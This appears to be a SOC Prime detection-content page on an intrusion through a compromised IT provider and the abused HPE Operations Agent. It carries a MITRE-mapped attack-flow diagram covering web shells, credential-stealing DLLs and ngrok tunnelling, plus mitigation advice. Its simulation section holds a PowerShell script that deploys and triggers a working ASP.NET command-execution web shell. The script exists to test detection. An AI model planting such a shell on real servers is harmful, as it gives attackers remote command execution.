SOC Prime Bias: Critical

18 May 2026 18:27 UTC

Investigating a Stealthy Intrusion Through Third-Party Compromise

Author Photo
SOC Prime Team linkedin icon Follow
Investigating a Stealthy Intrusion Through Third-Party Compromise
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

The report examines a stealthy intrusion in which threat actors compromised a third-party IT services provider and then abused the legitimate HPE Operations Agent to deploy web shells, credential-stealing DLLs, and tunneling utilities. By relying on trusted management software instead of loud exploitation, the attackers were able to maintain long-term access while minimizing obvious signs of compromise.

Investigation

Microsoft Incident Response traced the activity from initial web shell deployment on internet-facing servers to VBScript execution through HPE Operations Agent. The investigation then uncovered registration of malicious network provider and password-filter DLLs on domain controllers, followed by reuse of harvested credentials and use of ngrok tunnels to support lateral movement across the environment.

Mitigation

Recommended defenses include reducing and tightly controlling trusted third-party access, monitoring for unauthorized DLL registration in LSA notification packages, detecting suspicious web shell changes, enforcing strict egress filtering, and ensuring EDR coverage across all endpoints.

Response

If this activity is detected, isolate the compromised systems, remove malicious DLLs and web shells, revoke any stolen credentials, disable unauthorized network providers, and hunt for lateral movement using the collected artifacts.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% Nodes u2013 Initial Access action_initial_trusted["<b>Action</b> – <b>T1199 Trusted Relationship</b><br/>Compromise thirdu2011party IT services provider and use trusted HPE Operations Agent to run malicious code."] class action_initial_trusted action tool_hpe_oa["<b>Tool</b> – <b>Name</b>: HPE Operations Agent (OA)<br/><b>Purpose</b>: Legitimate agent used to execute scripts on target servers."] class tool_hpe_oa tool %% Nodes u2013 Execution action_execution_vbscript["<b>Action</b> – Execution of VBScripts (T1059.005)<br/>Run <i>abc003.vbs</i> for system, network and AD discovery."] class action_execution_vbscript action file_abc003["<b>File</b> – <b>Name</b>: abc003.vbs<br/><b>Type</b>: Visual Basic Script"] class file_abc003 file %% Nodes u2013 Persistence (Web Shell) action_persistence_webshell["<b>Action</b> – <b>T1505.003 Server Software Component: Web Shell</b><br/>Deploy <i>Errors.aspx</i> and <i>Signoff.aspx</i> web shells on internetu2011facing servers."] class action_persistence_webshell action file_errors["<b>File</b> – <b>Name</b>: Errors.aspx<br/><b>Function</b>: Remote command execution web shell."] class file_errors file file_signoff["<b>File</b> – <b>Name</b>: Signoff.aspx<br/><b>Function</b>: Remote command execution web shell."] class file_signoff file %% Nodes u2013 Persistence (Network Provider DLL) action_persistence_np_dll["<b>Action</b> – <b>T1556.008 Network Provider DLL</b><br/>Register malicious <i>mslogon.dll</i> on domain controllers to capture clearu2011text credentials."] class action_persistence_np_dll action file_mslogon["<b>File</b> – <b>Name</b>: mslogon.dll<br/><b>Location</b>: C:\Users\Public\Music\abc123c.d"] class file_mslogon file %% Nodes u2013 Persistence (Password Filter DLL) action_persistence_passdll["<b>Action</b> – <b>T1556.002 Password Filter DLL</b><br/>Add <i>passms.dll</i> as LSA notification package on DC01/DC02 to intercept password changes."] class action_persistence_passdll action file_passms["<b>File</b> – <b>Name</b>: passms.dll<br/><b>Location</b>: C:\ProgramData\WindowsUpdateService\UpdateDir\Ipd"] class file_passms file %% Nodes u2013 Credential Access (Files) action_cred_in_files["<b>Action</b> – <b>T1552.001 Credentials In Files</b><br/>Store harvested credentials in clearu2011text or encoded files on disk."] class action_cred_in_files action %% Nodes u2013 Credential Access (OS Dumping) action_os_credential_dump["<b>Action</b> – <b>T1003 OS Credential Dumping</b><br/>DLLu2011based interception provides credential dumping without external tools."] class action_os_credential_dump action %% Nodes u2013 Lateral Movement (Valid Accounts) action_lateral_local["<b>Action</b> – <b>T1078.003 Valid Accounts: Local Accounts</b><br/>Reuse harvested credentials to authenticate via RDP and SMB."] class action_lateral_local action %% Nodes u2013 Lateral Movement (Remote Services) action_lateral_remote["<b>Action</b> – <b>T1021 Remote Services</b><br/>Establish RDP sessions over encrypted ngrok tunnels to move laterally."] class action_lateral_remote action %% Nodes u2013 Command & Control (Proxy) action_c2_proxy["<b>Action</b> – <b>T1090 Proxy</b><br/>Deploy ngrok as multiu2011hop proxy to create covert C2 channels."] class action_c2_proxy action tool_ngrok["<b>Tool</b> – <b>Name</b>: ngrok<br/><b>Purpose</b>: Create TCP/HTTPS tunnels for traffic tunneling."] class tool_ngrok tool %% Nodes u2013 Command & Control (Protocol Tunneling) action_c2_tunnel["<b>Action</b> – <b>T1572 Protocol Tunneling</b><br/>Encapsulate C2 traffic inside ngrok tunnels to evade detection."] class action_c2_tunnel action %% Nodes u2013 Collection (Network Shared Drive) action_collection_share["<b>Action</b> – <b>T1039 Data from Network Shared Drive</b><br/>Stage encoded credential files on remote SMB shares before exfiltration."] class action_collection_share action %% Nodes u2013 Defense Evasion (DLL Hijack) action_defense_dll["<b>Action</b> – <b>T1574.001 Hijack Execution Flow: DLL</b><br/><i>msupdate.dll</i> exfiltrates data via SMTP and SMB, disguised as image files."] class action_defense_dll action file_msupdate["<b>File</b> – <b>Name</b>: msupdate.dll<br/><b>Payload</b>: Encoded data sent as icon02.jpeg."] class file_msupdate file %% Nodes u2013 Persistence (Winlogon Helper DLL) action_persistence_winlogon["<b>Action</b> – <b>T1547.004 Winlogon Helper DLL</b><br/>Register <i>mslogon.dll</i> as Winlogon helper to ensure execution at logon."] class action_persistence_winlogon action %% Connections u2013 Attack Flow action_initial_trusted –>|uses| tool_hpe_oa tool_hpe_oa –>|executes| action_execution_vbscript action_execution_vbscript –>|runs| file_abc003 action_execution_vbscript –>|leads to| action_persistence_webshell action_persistence_webshell –>|creates| file_errors action_persistence_webshell –>|creates| file_signoff action_persistence_webshell –>|enables| action_persistence_np_dll action_persistence_np_dll –>|installs| file_mslogon action_persistence_np_dll –>|enables| action_persistence_passdll action_persistence_passdll –>|installs| file_passms action_persistence_passdll –>|stores| action_cred_in_files action_cred_in_files –>|provides data for| action_os_credential_dump action_os_credential_dump –>|enables| action_lateral_local action_lateral_local –>|uses| action_lateral_remote action_lateral_remote –>|utilizes| tool_ngrok tool_ngrok –>|facilitates| action_c2_proxy action_c2_proxy –>|enables| action_c2_tunnel action_c2_tunnel –>|supports| action_collection_share action_collection_share –>|provides files for| action_defense_dll action_defense_dll –>|uses| file_msupdate action_defense_dll –>|supports| action_persistence_winlogon action_persistence_winlogon –>|relies on| file_mslogon %% Styling class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (T1199) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    1. Initial Compromise: The attacker gains write access to the web root (e.g., via a stolen credential or vulnerable upload endpoint).
    2. Web‑Shell Deployment: They upload a malicious ASP.NET web‑shell named Errors.aspx (or modify an existing Signoff.aspx) that executes arbitrary PowerShell commands supplied via the query string.
    3. Triggering the Shell: The attacker sends an HTTP GET request to the shell with a PowerShell payload in the cmd parameter, e.g., https://corp.example.com/Errors.aspx?cmd=whoami. This request is logged by IIS, producing a cs-uri-stem value of /Errors.aspx – exactly what the Sigma rule matches.
  • Regression Test Script: The script reproduces steps 2‑3 (upload is simulated by copying a pre‑crafted file into the web root; triggering is performed via Invoke-WebRequest).

    # -------------------------------------------------
    # Web‑Shell Simulation Script – Windows Server/IIS
    # -------------------------------------------------
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx",
        [string]$Payload = "whoami"
    )
    
    # 1. Deploy a simple ASP.NET web‑shell (minimal for testing)
    $shellContent = @"
    <%@ Page Language="C#" %>
    <% 
    string cmd = Request.QueryString["cmd"];
    if (!String.IsNullOrEmpty(cmd)) {
        System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
    }
    %>
    "@
    
    $shellPath = Join-Path $WebRoot $ShellName
    Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force
    
    Write-Host "[+] Deployed web‑shell to $shellPath"
    
    # 2. Give the web server a moment to register the new file
    Start-Sleep -Seconds 2
    
    # 3. Invoke the web‑shell to generate the detection‑triggering log entry
    $uri = "http://localhost/$ShellName?cmd=$Payload"
    Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null
    
    Write-Host "[+] Triggered web‑shell via $uri"
    # -------------------------------------------------
  • Cleanup Commands: Remove the test web‑shell and any residual files.

    # Cleanup script – remove the simulated web‑shell
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx"
    )
    $shellPath = Join-Path $WebRoot $ShellName
    if (Test-Path $shellPath) {
        Remove-Item -Path $shellPath -Force
        Write-Host "[+] Removed $shellPath"
    } else {
        Write-Host "[-] Shell file not found; nothing to clean."
    }